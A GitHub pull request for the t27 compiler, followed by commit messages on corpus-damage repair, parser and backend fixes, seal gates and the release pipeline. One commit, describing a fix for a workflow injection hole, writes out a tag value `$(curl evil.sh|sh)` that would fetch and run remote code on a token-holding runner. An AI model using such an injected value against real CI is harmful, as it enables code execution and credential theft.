corpus: freeze the damage, patch one class at a time, and say where one rule stops by gHashTag · Pull Request #2161 · gHashTag/t27

gHashTag · 2026-08-14T19:46:55Z

Stacked on w699-restore-loop-tools (#2159), not on master — damage_repair.py imports the field extractor from diffbin.py, which lives on that branch. Base it on master and the import breaks. Review #2159 first.

No spec under specs/ is modified by anything here. Repairs are written to a scratch tree; specs/ is read-only to both new tools.

What the tools do

tri damage-freeze — writes the snapshot, 125 rows with class id, shape, file, line, field, verbatim rhs, ±2 lines of context, and the file digest. docs/corpus/damage_snapshot_2026-08-15.json, corpus_sha256 = 1b5a37b7a89efb782db7efd2ca7af728d4ed48b1c13ac2a35088c7926b16afd9.

tri damage-repair — one candidate per class, reversible diff, effect measured. Refuses to run if any file digest has moved since the freeze, because a patch applied to a changed file is applied to a different file than the one surveyed.

The mechanism

Intact: name : "TypeText",. Damaged: the opening quote became [. children : "[4]?QuadNode", → children : [[4]?QuadNode",. One fact, both signals, one-character patch, self-inverse.

The split, which is the result

	lines	classes
substitution yields a closed string → candidate proposed	107	12
type text truncated too, element type gone → no patch	18	3

[[]Const [, → "[]Const [, is not closed. []Const []Const u8 and []Const [N]u8 are both plausible; the file has no evidence. Held as needs-human-language-decision, owner: language owner. Criterion: state what an unclosed element type in slice position means and whether a placeholder is permitted.

Double validation

Deleting the line also makes a file parse. So: (1) t27c parse exits 0; (2) the field is back with a non-empty type and nothing previously present vanished.

Two units, because a hypothesis of mine was wrong

Per-class: 6 parse-restored, 6 still-malformed, 0 ambiguous, 3 needs-human-language-decision.

I read those six as co-located unrestorable damage. Checked: false — 0 destroyed lines across all seven files. Real cause: co-located damage from other restorable classes, untouched by a single-class run. Hence --combined:

effect	files
parse-restored	49
still-malformed	11
ambiguous	2
needs-human-language-decision	3

A third defect, visible only after the first two were fixed

10 of 11 remaining files fail at pub const Name(T) = struct { — Unexpected token in expression: KwStruct. Parser gap on generic const struct declarations, not corpus damage. bitset.t27 fails at Expected LParen, got KwTest — separate, unclassified. Both need their own issues; neither is in scope here.

Re-run differential

623 unchanged, 8 field-loss, 1 strict-improvement, 2 malformed-input-tradeoff, 0 unknown (was 616 / 13 / 1 / 4 / 0).

8 of 8 remaining field-loss files contain a destroyed line — exact correlation.

field-loss ≠ 0, so the gate on #2151 is not met. #2151 stays undecided and must not be merged.

Fixtures, tested rather than assumed

15 positive (one per class, carrying shape/origin/candidate/expected effect) + 6 negative pinning the false signals: target : < 5000ns, match arms, multi-line arrays, function signatures, raw strings, intact convention.

Discriminating power: reconstructed first signal set fires on 6 of 6 negatives, current on 0. On the real corpus naive = 1378 lines, current = 125.

loop-tools-tracked extended to both new tools and verified to FAIL (exit 1) while untracked and PASS after commit.

Not claimed

Not that 125 is all the damage — two textual signals only; balanced, quote-even, plausible-looking wrong types are invisible and unbounded here
Not that parser: nesting decides the separator, never the terminator (#2127) #2151 is regression-free
Nothing about performance: 63 unparsed files still excluded from cost, full-run hang undiagnosed

fpga-formal / fpga-synthesis red is the master baseline (#2153). check-first-party-doc-language.sh has 8 pre-existing errors on master; none is a file from this branch.

Closes #2158) Two measurement tools were lost and every number they had produced became unreproducible with them. cost.py and diffbin.py were written, quoted in #2151, and never committed; the working copy was later re-cloned. Six recovery routes came back empty -- dangling objects held only a git stash WIP with triage.py, the reflog records the clone rather than the content, shell history is absent, CI artifacts hold only FPGA outputs, no PR or issue comment carries the source, and the session snapshot preserved prose about the scripts instead of the scripts. So these are reimplementations from a written contract. Recalling what the old ones roughly did would have reproduced the old one's defect. That defect was the specification for the new one. It reported "0 regressions" over 634 specs while files were losing declared struct fields, because a per-file judgement had relabelled the loss as an acceptable trade and the aggregate then printed the judgement as if it were a measurement. No differential result may be called "0 regressions" unless the metric actually checks the claimed class of loss. diffbin now assigns five ordered categories -- unchanged, field-loss, strict-improvement, malformed-input-tradeoff, unknown -- with field-loss tested before strict-improvement, so removing a phantom while dropping a declared field is a loss and not an improvement. Phantom and declared are told apart by a stated rule: a removed field is a phantom only if its base type text was empty. Only an ExprIdentifier whose parent is a StructDecl counts, so identifiers in function bodies stay out of the totals. Re-measured on the same 634 specs and the same two binaries: 616 unchanged, 13 field-loss, 1 strict-improvement, 4 malformed-input-tradeoff, 0 unknown. handoff.t27 goes from 35 parsed fields to 12. All 17 files that moved are inside the damaged set and no well-formed spec changed at all, which is what 0 unknown is carrying. cost reports per stratum with n, median, p95, min-max ms/KB and coefficient of variation, alpha only at n >= 8 with its r2 and KB range, and no cross-family alpha at all: that number is a metric of corpus composition rather than of the parser (#2133), and a printed number gets quoted while its caveat does not travel with it. damage classifies the corrupt annotations by shape rather than repairing them (#2154): 125 lines, 65 files, 15 shapes, one fixture each. The first draft reported 429, of which 230 were the legitimate bound `target : < 5000ns`, so the fix was deleting two bad signals rather than tuning a threshold. loop-tools-tracked.sh fails when a loop tool is missing, untracked, or unrouted, and was verified to fail in exactly the pre-loss state. The dispatcher no longer looks for a built compiler before running helpers that never use one.

…ne rule stops (Closes #2160) The mechanism is one character: the opening quote of the type string was replaced by '['. Substituting it back and asking whether the result is a closed string is a decision procedure, and it splits the 125 lines exactly on class boundaries -- 107 in 12 classes restorable, 18 in 3 classes truncated beyond recovery and held for a language decision rather than guessed at. Two validations per candidate, because deleting a line also makes a file parse: the field must return with a non-empty type and nothing previously present may vanish. Two measurement units, because our own first reading of six still-malformed classes (co-located destroyed lines) was checked and found false -- the cause was co-located damage from other restorable classes. Repairing those exposed a third defect that had been hidden behind them: ten files now fail on 'pub const Name(T) = struct', a parser gap on generic const struct declarations, not corpus damage. Re-run differential: 623 unchanged, 8 field-loss, 1 strict-improvement, 2 malformed-input-tradeoff, 0 unknown (was 616/13/1/4/0). All eight remaining field-loss files contain a destroyed line. field-loss is not zero, so #2151 stays undecided. Negative fixtures were tested for discriminating power, not assumed to have it: the reconstructed first signal set fires on 6 of 6, the current one on 0. No spec under specs/ is modified by anything here.

gHashTag · 2026-08-14T19:50:30Z

Disclosure: this stacked PR is NOT gate-equivalent to a master-based one

gh pr checks on this PR lists nine checks, all green. Four of the checks that guard master did not run at all, and their absence is silent — a green tick sheet here does not mean what a green tick sheet on a master-based PR means.

Cause, read from the workflow files rather than inferred:

workflow	trigger
`.github/workflows/now-sync-gate.yml` (`check-now-freshness`)	`pull_request: branches: [master]`
`.github/workflows/issue-gate.yml` (`check-linked-issue`)	`pull_request_target: branches: [master]`
`.github/workflows/seal-staleness-warn.yml`	`pull_request: branches: [master]`

Base here is w699-restore-loop-tools, so none of them match. This is a general property of stacked PRs in this repository, not something specific to this branch, and it is worth knowing before any stacked PR is read as verified.

Ran the two content gates by hand instead, so the claim is measured rather than assumed:

check-now-freshness: docs/NOW.md carries Last updated: 2026-08-15, inside the accepted [yesterday..tomorrow] UTC window (today UTC is 2026-08-14). New section is at the top of the file.
check-linked-issue: PR body line 1 is Closes #2160, and corpus damage: freeze, per-class candidate patch, and what one rule does not reach (#2154 follow-up) #2160 exists and is OPEN. Verified in that order, because the gate passes on syntax alone and would accept a reference to an issue that was never created.
seal-staleness-warn is not applicable: bootstrap/src/compiler.rs, bootstrap/stage0/FROZEN_HASH and repro/numerics/nmse_manifest.json are untouched by this branch.

Not verified by hand: whatever check and validate do beyond the above — those run under a different trigger set and their master-base behaviour on this diff is unmeasured. When #2159 lands, this branch will need retargeting to master and a real gate run before it can be called verified.

) * CHANGELOG: the module-level var fix belongs to 0.2.0 (Refs #2161) * docs/now: the draft release was never published (Refs #2161)

…s `static mut` (Refs #2161) (#2733) * parser: a hyphen is part of the name in a `use` path too (Refs #2161) Module NAMES have accepted hyphens since the module-declaration parser was written. `use` paths never did, so use tritype-base::Trit; read the import as `tritype` and left `-base::Trit` behind as a module-level expression statement. That phantom reached gen-verilog as -base_Trit; a line the simulator rejects, and no diagnostic mentions it because from the parser's side nothing went wrong: the `use` parsed, the leftover parsed, and both were accepted. `read_hyphenated_ident` factors the loop the module parser already has and is called at both places a `use` segment is read -- the first one and each one after `::`. The braced form `use a-b::{X, Y}` works for the same reason: `full_path` now ends in `::` before the `{`, which is exactly the precondition the W630 braced-import block already tests. Measured over 746 tracked specs, master binary vs this one: phantom `-name;` statements in generated Verilog 28 -> 0 specs emitting one 11 -> 0 specs whose Verilog output changes 11 specs that parse 620 -> 620 t27c tests 1629/6 -> 1629/6 The parse count does not move: 18 specs carry a hyphenated `use`, and the three that fail `parse` fail on defects behind this one. What this fixes is the silent half -- eleven specs that parsed, generated, and shipped invalid Verilog. FROZEN_HASH resealed in the same commit (M5). * gen-rust: a module-level `var` is `static mut`, and its readers are unsafe (Refs #2161, closes #2731) I filed #2731 saying this needed an owner decision because Rust has no safe mutable global. Re-reading the other three backends settles it: they already agree. gen-verilog lowers a module-level `var` to a `reg`, gen-c to a `static`, Zig to a `var` -- all three mean SHARED mutable state. Of the three Rust candidates, only `static mut` means that; `AtomicU32` changes the API and `thread_local!` changes the semantics to per-thread, which would make Rust the one backend disagreeing about what the source says. So the decision was already in the tree, in the form of what the other three do. #2731 asked a question the repository had answered. pub static mut counter: u32 = 0; pub fn bump() -> u32 { unsafe { counter = (counter + 1); return counter; } } Every access to a `static mut` is unsafe. Wrapping the whole body is the smallest correct answer -- the alternative needs the expression emitter to know the name set at each site. `static_mut_names` is collected in a PRE-PASS, because a function can be emitted before the declaration it reads. Measured over the 43 specs whose Rust output this changes: rustc errors 921 -> 760 specs clean 0 -> 0 The second row is the honest one: not one of these specs compiles yet, because they carry other defects -- Zig builtins leaking into the Rust output chief among them. What this fixes is the declaration and its readers, which were wrong on their own terms. A function that touches no module-level mutable is emitted byte for byte as before -- checked. No regressions: parse 620/746 unchanged, tests 1629 passed / 6 failed unchanged, RATCHET: CLEAN. FROZEN_HASH resealed in the same commit (M5). * docs/now: the decision was already in the tree (Refs #2161)

…#2161) (#2734) The fallback for a local with no declared type was C's `int`. Two arms above it already special-case integer literals (u32/u64), so what the fallback actually caught was everything else -- a CALL among them: pub fn big() -> u64 { return 4294967296; } pub fn plus_one() -> u64 { const v = big(); // int v = big(); return v + 1; } C prints 1. Rust and Zig print 4294967297. The C compiles without a diagnostic, so nothing downstream can tell -- a silent wrong answer, which is worse than a loud one. Now GNU `__auto_type` when there is an initialiser, which is the same builtin the tuple-destructure paths a few hundred lines above already emit, so it costs no new portability. Without an initialiser there is nothing for it to follow and `int` stays. Measured over 746 tracked specs, before binary vs after: specs whose C output changes 396 cc -fsyntax-only -std=gnu11 errors 6163 -> 5958 specs whose generated C is clean 19 -> 20 specs that went clean -> broken 0 That last row is the one that matters at this radius. Parse count 620/746 and tests 1629 passed / 6 failed are both unchanged. The probe now agrees across backends: C prints 4294967297, same as Rust. FROZEN_HASH resealed in the same commit (M5).

) * tests: the C and Rust backends get behavioural tests (Refs #2161) Four defects were fixed in this session, and every one of them emitted a green exit over output that was wrong or absent: * gen-rust wrote an empty `match` for every `switch`; * gen-rust dropped the body of every `for` loop; * gen-c emitted no loop header at all, so the body ran once; * gen-c typed an un-annotated local as `int`, printing 1 where the other backends print 4294967297. All four were invisible to the 1,600-test suite, because those tests read the emitted TEXT and not one of them hands it to a compiler. The Verilog backend has had iverilog targets in bootstrap/tests/ for a long time. C and Rust had nothing. Seven tests: generate, compile with the real toolchain, RUN, and check the printed answer. range loop C and Rust both print 6, not 1 inclusive range 1..=3 runs three times wide un-annotated C and Rust both print 4294967297, and agree module-level var two calls leave the counter at 2, in both switch the arms are in the Rust output A test that cannot find its compiler SKIPS LOUDLY rather than passing quietly. An absent tool is not a passing test, and this file exists because silence looked like success. Verified load-bearing, not assumed. Reverting the `__auto_type` fix fails `c_and_rust_agree_on_an_un_annotated_wide_local` with "C truncated a u64 to int"; reverting the `no_range` fix fails two of the loop tests; restoring both returns 7/7. * docs/now: four defects, and not one test that would have caught them (Refs #2161)

…ody (Refs #2161) (#2736) * parser: a trailing `;` on a clause no longer empties the whole test body (Refs #2161) A braceless clause may end with a semicolon: test t given p = 0; assert g(1) == 999 Nothing consumed it, so the next loop turn met `;` where it expects a clause head, read that as "stopped mid-clause", and restored the fallback -- discarding the WHOLE block over one character. The identical body without the semicolon lowered fine, which is what kept it invisible: two spellings of one clause, one of them silently emptying every assertion after it, and `gen_test_block` emits the resulting empty test with no marker. Measured over 746 tracked specs: discarded top-level tokens 35,224 -> 35,070 specs that parse 620 -> 620 t27c tests 1629/6 -> 1629/6 RATCHET CLEAN A SECOND shape in this family is NOT fixed here, deliberately. A body that OPENS with `var`/`const` has no earlier clause to take a column from, so `first_clause_col` is None and the statement arm is skipped. I wrote that fix, measured it recovering 1,914 tokens -- and it regressed specs/memory/notebooklm.t27 from parsing to not parsing. The mechanism is worth recording: seeding the column lets an EARLIER clause take the statement arm, and the parser then reaches `const (notebook, err) = ...` -- a tuple destructure the arm cannot handle -- in a state where the old path would have fallen back for the whole block. It dies with "Expected identifier after 'const', got LParen" instead. The arm's contract is that it may only ADD assertions and never break a file; that version broke one, so it is not in this commit. Filed separately. Isolated by disabling one edit at a time rather than by reading: with the semicolon consumption alone the spec parses, with the column seeding alone it does not. FROZEN_HASH resealed in the same commit (M5). * docs/now: one character emptied a whole test body (Refs #2161)

* corpus: report all four backends, not two (Refs #2161) `corpus` describes itself as "the only corpus metric that does not lie" and measured Zig and Verilog. The Rust backend had no compile gate anywhere in this repository and neither did C -- which is how an empty `match` for every `switch`, a dropped body for every `for`, and a `u64` typed as `int` all shipped with a green exit. Two stages added, mirroring the existing Zig block: gen-rust -> rustc --edition 2021 --crate-type lib --emit=metadata gen-c -> cc -fsyntax-only -std=gnu11 and one row the two-backend table could not show: how many specs satisfy ALL FOUR toolchains. That is what "one spec, four targets" claims, and until now nothing counted it. On a 39-spec sample: generates Zig 22 ... and Zig accepts it 12 30.8% generates Rust 22 ... and rustc accepts it 0 0.0% generates C 22 ... and cc accepts it 1 2.6% generates Verilog 22 ... and iverilog accepts 7 17.9% Zig AND Verilog accept 6 15.4% ALL FOUR accept 0 0.0% The `BOTH backends accept` label is now `Zig AND Verilog accept`, because with four columns "both" no longer names anything. Zero is the number this change exists to print. It is a sample, not the corpus, and the row says so by carrying its own denominator. * docs/now: corpus reported half the backends (Refs #2161)

…Refs #2161) (#2740) * parser: a `forall` no longer takes its checkable neighbours with it (Refs #2161) An invariant reading assert g(1) == 111 forall x: i32 . g(x) == x assert g(2) == 222 lost BOTH asserts. Skipping an unbounded `forall` is a defensible language decision -- the compiler says so in its own comment -- but taking the clauses around it is a second loss on top of the defensible one, and nothing recorded that it happened. Clauses lowered BEFORE the unmodellable one are now kept, and the block is MARKED. The mark matters as much as the keeping: the emitter's "NOT CHECKED" notice keys on `children.is_empty()`, so a partial block without it would report as fully verified -- the exact claim W635 exists to stop. Now it carries its assertions AND its notice. Clauses AFTER the `forall` are still skipped: the parser jumps to the next top-level from there, and reaching them is a different change. Measured over 746 tracked specs, before binary vs after: assertions in generated Zig 11,704 -> 11,712 (+8) NOT CHECKED markers 1,068 -> 1,068 specs that LOST an assertion 0 specs that parse 620 -> 620 t27c tests 1629/6 -> 1629/6 RATCHET CLEAN Eight is the honest number. The census that motivated this estimated ~9,400 recoverable tokens, but that counterfactual assumed a different mechanism -- it rewrote the SOURCE, while this keeps what the existing parser already lowered. The eight were silently dropped before and are checked now, and the mechanism is what stops the next `forall` from doing it again. Found with the compiler's own instrument: T27_BDD_DEBUG named the fallback site on the first try, after I had guessed the wrong one and edited it to no effect. FROZEN_HASH resealed in the same commit (M5). * docs/now: a forall took its checkable neighbours (Refs #2161)

…e (Refs #2161) (#2739) * tests: a missing input skips loudly instead of failing into a baseline (Refs #2161) `specs/scratch/` is gitignored -- 578 MB of generated benchmark drafts, re-derivable from the 343 committed `scripts/gen_w<NNN>.py` generators. So in a fresh clone this whole target panicked on `read_dir`, and the failure was then recorded in the CI baseline as "known failing": 358 tests, 15% of the suite, disabled by a .gitignore line and made invisible by a ledger. A missing INPUT is not a failing test. It is also not a passing one, which is why the guard PRINTS rather than returning quietly -- a silent skip is how the count reached 358 in the first place. Each skip names the test, the directory, and how to restore it. before 358 failing, all of them for the same absent directory after 357 skipping loudly, 1 failing That one is the point. `corpus_classifier_matches_lean_completeness` fails on a real disagreement -- specs/api/tri_net_api.t27, Rust says not lowerable and the Lean theorem says lowerable -- and it fails identically before and after this change, checked. It was the only true failure in the target and it sat among 357 false ones, in a baseline that recorded all 358 as the same thing. Nothing here regenerates the witnesses: 578 MB does not belong in a test run. When they are present the 357 run as before. * docs/now: 358 tests disabled by a gitignore line (Refs #2161)

…t were reporting as 1 (#2742) * gen-rust: translate Zig builtins instead of passing them through (Refs #2161) t27's surface is Zig-shaped, so `@as`, `@intCast`, `@min` and friends appear in specs. The Rust emitter passed them through verbatim -- 27 distinct builtins, 281 occurrences -- and `@as(u32, x)` is not Rust. Two groups, and the difference is the point. Where Zig NAMES the target type the translation is exact: `@as(u64, x)` -> `(x as u64)`. Where Zig INFERS it from context the honest Rust is `as _`, which asks rustc to infer from the same context -- a `let` with a declared type, a `return` in a typed fn. Guessing a concrete width would be a silent wrong answer, which is the defect class this backend was just cleared of. Anything not in the table keeps its spelling: a wrong translation is worse than an untranslated one, because the first compiles. @-builtins in generated Rust 281 -> 26 (91% translated) rustc errors 8,834 -> 8,794 AND THAT SECOND ROW IS THE FINDING. I reported these builtins as the reason 43 specs do not compile. They are not. Measured across 141 specs: 499 DISTINCT rustc error classes, ~2,900 errors, and the builtins account for 40 of them. The largest single class is 688 occurrences of `cannot find module or crate serde` -- the emitter derives serde::Serialize on every struct with no manifest to satisfy it -- and removing even that leaves 2,255 errors and zero clean specs. So the Rust backend is not a defect list. It is a backend that has never been compiled, and `corpus` reported two of four precisely so nobody had to see that. Saying "Zig builtins chief among them", as I did in the 0.2.0 notes, understated it by two orders of magnitude; the notes are corrected in the same release. Parse 620/746, tests 1629/6, behavioural 7/7, RATCHET CLEAN -- all unchanged. FROZEN_HASH resealed in the same commit (M5). * parser: a test body may open with `var`, and `const (a, b)` is a statement (Refs #2161, closes #2735) Two changes that only work together. A braceless body that OPENS with `var`/`const` had no earlier clause to take a column from, so the statement arm was skipped and the whole body fell back to the discard -- silently, with no marker. Seeding the column from the opening statement fixes that, and #2735 records why I did not ship it before: it regressed specs/memory/notebooklm.t27 from parsing to not parsing. The regression's cause turned out to be a grammar gap one level out. `const (notebook, err) = f();` is the tuple-destructure STATEMENT, and the corpus writes it inside test bodies. When a braceless block stops on one, the parser hands it to the module dispatcher, where `parse_const_decl` demands a name and dies with "Expected identifier after 'const', got LParen" -- on a form `parse_let_destructuring` has handled all along. Routing `const (` there removes the hard error, and with it the reason the seeding could not land. Three guards keep the arm honest: it seeds only at the start of a block, only when the keyword is followed by a NAME, and `const (` never enters it at all. Measured over 746 tracked specs, against master: discarded top-level tokens 35,070 -> 33,777 (-1,293) assertions in generated Zig 11,712 -> 11,790 (+78) NOT CHECKED markers 1,068 -> 1,065 specs that parse 620 -> 620 t27c tests 1629/6 -> 1629/6 behavioural backend tests 7/7 RATCHET CLEAN The marker count falling by three is the shape to read: three blocks that used to report "not checked" now lower completely. FROZEN_HASH resealed in the same commit (M5). * fix(parser,proofs): one condition parser, and a Lean ledger that reports all 73 A leading `(` was read as proof of the parenthesised condition form. In `if (i >> j) & 1 == 1 {` it is not: the parser took `(i >> j)` for the whole condition and died at the brace. Three byte-identical copies of that code stood in parse_if_stmt, parse_while_stmt and parse_if_expr, so the fix is one parse_condition with a checkpoint that rewinds when what follows the closing paren is neither the body `{` nor a payload capture `|x|`. specs/ar/asp_solver.t27 then reached its next real defect: an unclosed `[` on line 369, a typo in the spec, which had swallowed the remaining 186 lines. With both fixed the spec parses and the Rust/Lean disagreement it was hiding became visible -- and so did 72 more. The test asserted agreement one spec at a time and aborted on the first, so it had been reporting 1 of 73 for as long as it has existed. It now collects every disagreement and holds them in an identity-keyed ledger that moves down only: a name not in the ledger fails as a regression, and a name that starts agreeing must be removed or the stale entry fails. Both directions were checked by breaking them. Forty of the 73 are theorems about an EMPTY module -- no functions, globals or tests -- so `native_decide` proved that nothing is lowerable, which is true and says nothing about the spec. ar_asp_solver is corrected here to the marker convention api_sdk_contract already uses, because Lean's `Stmt.forLoop` has one constructor for both range-for and iterator-for and cannot express the construct that makes that spec non-lowerable. Removing the early abort also surfaced two guards that had been unreachable behind it: specs/scratch envs (untracked since #2283) were counted as Lean-only witnesses, and the >= 245 floor is now held on checked + skipped so a spec may move between the two but neither may evaporate. Refs #2735 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(parser): rewind the condition only where a body must follow The previous commit's checkpoint applied to the `if` EXPRESSION too, where the then-branch is an expression and not a block: `if (c) a else b` is legitimate, the paren really does close the condition, and rewinding re-read `(c) a` as one expression. That cost six specs -- base/ops, base/ternary_add, base/types, numeric/gf16, numeric/gfternary, numeric/tf3 -- all dying on `Unexpected token in expression: KwElse`. The whole test suite was green while this was true. What caught it was parsing all 650 corpus specs with the binary from before the change and with the binary after, and diffing per spec: 558 -> 553. Now 558 -> 559, one spec moved, and it is the one the change was for. The ledger was rebuilt on the corrected parser in case the regression had been baked into it as a known disagreement. It had not: 73 either way, no entry added or removed. Refs #2735 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(parse-conform): a case can now demand "accepted, and nothing dropped" `stray_closing_brace` had been failing for as long as the parser has recovered from a stray `}`. The row demanded Rejected because Rejected was the only way the table could say "this input is not clean": a Case could pin the verdict and the declaration count, and nothing else. Reaching EOF is not the same as reading everything, and the parser already knows the difference -- `parse_ast_accounted` returns the number of top-level tokens recovery discarded, and the corpus-wide `parse-no-discard` phase is built on it. The table just could not ask. So Case gains `discards`, every existing row asserts Some(0), and the stray brace asserts Full with 2 decls and exactly 1 discarded. That is stricter than what it replaced, not weaker: rejecting the input would have thrown `fn b` away, and the requirement -- never a QUIET end of file -- is now checked as a count rather than inferred from a refusal. Both directions were broken to confirm the field is load-bearing: claiming 0 discards on the stray brace fails, and claiming 3 on a clean case fails. Suite: 1629 passed / 6 failed -> 1630 passed / 5 failed. Refs #2735 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(changelog): W699 -- parser condition, asp_solver typo, Lean ledger, discards field Refs #2735 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(now): W699 parser condition, Lean ledger, discards field Refs #2735 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * chore(seals): re-seal asp_solver after closing its unclosed bracket Fixing specs/ar/asp_solver.t27:369 changed what the spec generates, so both of its seal files -- it has two, under different keys -- described output it no longer produces. Stale seals: 420 -> 418. The other 418 are not from this branch. seal-coverage has been red on master for at least five consecutive runs, so the gate is currently reporting debt rather than guarding against it. Refs #2735 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 <noreply@anthropic.com>

* fix(seals): the gate never checked the four hashes it exists to check `check_seal_coverage.py` is named "Every seal still describes its spec" and its own docstring says a seal is broken when "gen_hashes no longer describe what it produces". It compared `spec_hash` and stopped. Two controls: spec_hash := zeros -> exit 1, reported stale gen_hash_zig := zeros -> exit 0, SILENT So a seal could assert false output for as long as nobody touched the spec -- which is most of them. MEASURED, by recomputing all five hashes for every seal: seals the gate called broken 418 seals actually not describing their output 1,078 of which spec AND output drifted 460 (the gate saw these) of which ONLY THE OUTPUT drifted 612 (invisible to it) of which only the spec drifted 6 The 612 are the blind spot. They passed every run of this gate while naming output the compiler had stopped producing. Three changes: 1. Every seal is re-sealed from what `t27c seal` produces today -- all four gen_hashes, not just spec_hash. 1,078 files. 2. The gate recomputes the gen_hashes and reports `gen-drift`. Because every seal was just re-sealed, this lands GREEN: 1,316 seals, 1,222 hold, 94 known-broken. From here any drift is caught on the commit that causes it. 3. seal_baseline.txt drops the 55 entries that now hold -- the gate had been asking for this in a NOTE -- 151 lines to 96. One dangling seal is removed: vscode-trinity-swe/test_highlight.t27 was deleted in b79702e, and the gate's own prescription for dangling is "remove the seal with it". Recomputing needs the compiler, so seal-coverage.yml now builds it, and a missing binary exits 2 with a message instead of returning a pass it did not earn. The self-check's controls plant synthetic trees with no compiler; they set T27_SEAL_SKIP_GEN explicitly rather than letting the script guess from its surroundings, because a guess would also disable the check in a real checkout where the build merely failed. Controls, all four re-run after the change: gen_hash corrupted -> exit 1, gen-drift (was exit 0) spec_hash corrupted -> exit 1, stale compiler absent -> exit 2, says so (was a pass) clean tree -> exit 0 --self-check -> exit 0 Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(now): the seal gate's blind spot, measured at 612 Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 <noreply@anthropic.com>

* fix(seals): answer "nothing to check" before "the tool is missing" #2746 put the compiler requirement first, so an empty tree got check_seal_coverage: the compiler is not built which is true and is not the diagnosis. With no seals there is nothing to recompute, and the answer the file already had is the right one: FAIL: no seals found at all -- the path is wrong, not the tree check_gate_preconditions.py hands every gate in its table an empty tree and asks what it says. It caught this on the commit after #2746 -- a gate doing exactly its job, one merge after I added a way for this one to lie. Controls, all re-run: empty tree -> exit 1, "no seals found at all" gen_hash corrupted -> exit 1, gen-drift compiler absent -> exit 2, says so clean tree -> exit 0 --self-check -> exit 0 check_gate_preconditions.py and its --self-check -> exit 0 Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(now): ordering fix in the seal gate Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 <noreply@anthropic.com>

… them compiled Seventeen ring crates sit under rings/ring-*-rust and, exactly like `ffi`, are listed in neither `workspace.members` nor `workspace.exclude`. Every `cargo check` in them died on manifest load: error: current package believes it's in a workspace when it's not This was invisible because rings-rust.yml is path-filtered and one of its paths is the root `Cargo.toml`. Nothing had touched that file in a long time, so the workflow had not run, and "not failing" was reading as "passing". Editing Cargo.toml for the release fix woke all seventeen at once. With `rings` excluded, sixteen compile. The seventeenth had a real defect that had never been reachable: ring-094 assigned `task.state = TaskState::Failed` and dropped the task out of the queue on the next line, so the write was dead and `#![deny(warnings)]` refused it. Removed -- behaviour is identical. If an expired task is meant to be RECORDED as failed rather than forgotten, that is a change to what the function does and wants deciding on purpose. rings compiling: 0 of 17 -> 17 of 17 t27c suite unchanged at 2424 passed / 0 failed. Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

…lation `${{ github.event.release.tag_name }}` was interpolated straight into two `run:` blocks. A tag name is attacker-controlled text, and interpolated there it IS shell: a release tagged $(curl evil.sh|sh) executes it on a runner holding CRATES_TOKEN, NODE_AUTH_TOKEN and ZENODO_TOKEN. It comes through `env:` now, where the shell sees a variable and never a substitution. The Untrusted Input gate caught this on the commit that introduced it, which is the gate working. The two remaining interpolations are in `concurrency: group:`, which is not a shell context. Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

…xists, and 45 that now generate Removing the broken symlink at bootstrap/bootstrap/specs/physics/formula_registry.t27 took its ledger line's subject with it, and the gate said exactly the right thing: They did not start generating -- they left the measured set, which reads as progress in the count below and is not. Drop their ledger lines in the same commit that removes them, deliberately. Done. The gate also had a standing NOTE that 46 baselined specs now generate -- one of them specs/ar/asp_solver.t27, whose unclosed bracket was fixed in #2742. Those lines are removed too, so the gate holds them from here: specs_generate_baseline.txt: 151 lines -> 105 OK: 716 specs, 613 generate, 103 known-broken This gate demonstrated its own control in the process: it caught a real change of mine on the commit that made it, and named the repair. Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

…uld not package t27c (#2753) * fix(release): the pipeline published the wrong product, unsequenced, and could not package t27c Nine runs, nine failures, zero successes -- and "failed" did not mean nothing happened. The 2026-04-07 run failed overall while its PyPI leg SUCCEEDED and burned golden-float 0.1.0; the 2026-05-15 run failed overall while its crates.io leg SUCCEEDED and burned golden-float-ffi 0.1.0. Neither number can be reused. Nothing sequenced the jobs, so one leg's failure left another's publication standing. That is the state the registries are in today. A tag reading t27c-v0.2.0 fired all of it: `golden-float` to npm, where the name is unclaimed and would have been permanently taken; `golden-float-ffi` 0.1.0 to crates.io, which already has it; and a Zenodo deposit into record 19456875, which is the GoldenFloat PAPER's DOI, using .zenodo.json, which describes T27. `t27c` itself was published nowhere. Four things: 1. PRODUCT GATE. A tag names its product -- t27c-v* or golden-float-v* -- and only that product's jobs run. Every publishing job now `needs: preflight`; there is no path to a registry that skips it. 2. VERSION TRUTH. Preflight fails, naming the file to edit, unless every manifest for that product already says what the tag says -- including .zenodo.json, which mints a DOI and is checked against the product it describes. 3. DRY RUN FIRST. `cargo publish --dry-run` plus a live query of crates.io and PyPI for the exact version, before any registry is written. A version that already exists now fails the rehearsal instead of failing a real publish after some other leg has written. 4. CONCURRENCY. All four release workflows take a per-tag group with cancel-in-progress: false. Cancelling mid-publish is how a partial publish is made. Zenodo now looks its deposition up per product from a repository variable and SKIPS, loudly, when none is set. A DOI can be minted later; one minted into another work's record cannot be unminted. Two things blocked publishing t27c at all, both found by rehearsing: - `bootstrap/bootstrap/specs/physics/formula_registry.t27` is a symlink to `../../specs/physics/...` that resolves to nothing, committed by #408 and broken ever since. `cargo package` dies on it: "Too many levels of symbolic links (os error 62)". tools/specs_generate_baseline.txt has been recording that same error as accepted debt. Removed. - `bootstrap/build.rs` enforces REPOSITORY policy by reading files outside the package (../docs/.legacy-non-english-docs and friends). A published crate is unpacked alone, so those are absent and the build script killed the build. It now detects that it is not in the repository and skips the repo-owned checks, saying so. Rehearsed in a fresh clone, which is what CI checks out: `cargo package --list` now succeeds where it exited 101. (It still fails inside a git worktree -- an artifact of this working copy, refuted as a repo defect by cloning.) Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * 